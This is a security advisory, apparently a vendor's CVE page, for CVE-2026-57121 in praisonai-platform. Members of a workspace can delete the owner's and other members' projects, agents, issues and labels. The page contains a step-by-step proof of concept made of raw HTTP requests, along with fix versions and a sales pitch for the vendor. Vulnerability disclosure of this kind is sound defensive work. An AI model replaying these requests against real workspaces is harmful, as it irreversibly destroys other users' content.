CVE-2026-57121
HIGHCVE-2026-57121 is a high-severity (CVSS 8.1) vulnerability in praisonai-platform. O3 Security confirms whether CVE-2026-57121 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API
Real-World Exposure
praisonai-platformReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.
Details
The published role capability matrix explicitly restricts members from modifying others' content:
| Capability | Owner | Admin | Member |
|---|---|---|---|
| Create issues/tasks | ✅ | ✅ | ✅ |
| Edit own content | ✅ | ✅ | ✅ |
| Edit others' content | ✅ | ✅ | ❌ |
The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an owner/admin role. The result is that the member role has unrestricted DELETE access over all workspace content regardless of who created it.
Confirmed vulnerable endpoints:
| Endpoint | Expected | Actual |
|---|---|---|
DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id} | 403 | 204 |
DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} | 403 | 204 |
The missing check is isolated to content resource DELETEs.
PoC
Requirements: Two accounts — owner (resource creator) and member (attacker).
1. Register both accounts
POST /api/v1/auth/register
Content-Type: application/json
{"email": "[email protected]", "password": "Password1!", "name": "owner"}
POST /api/v1/auth/register
Content-Type: application/json
{"email": "[email protected]", "password": "Password1!", "name": "member"}
2. Owner creates workspace, adds member with member role
POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"name": "Test Workspace"}
POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json
{"user_id": "<member_user_id>", "role": "member"}
3. Owner creates a project
POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"title": "Owner's Project"}
Response 201 Created:
{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}
4. Member deletes the owner's project
DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>
Response: 204 No Content
5. Owner confirms the project is permanently gone
GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>
Response: 404 Not Found
{"detail": "Project not found"}
The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).
Impact
This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.
Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai-platform | ≥ 0.1.4&&< 0.1.6 | 0.1.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai-platform. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update praisonai-platform to 0.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-57121 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-57121 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-57121. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-57121 in your dependencies?
O3 detects CVE-2026-57121 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.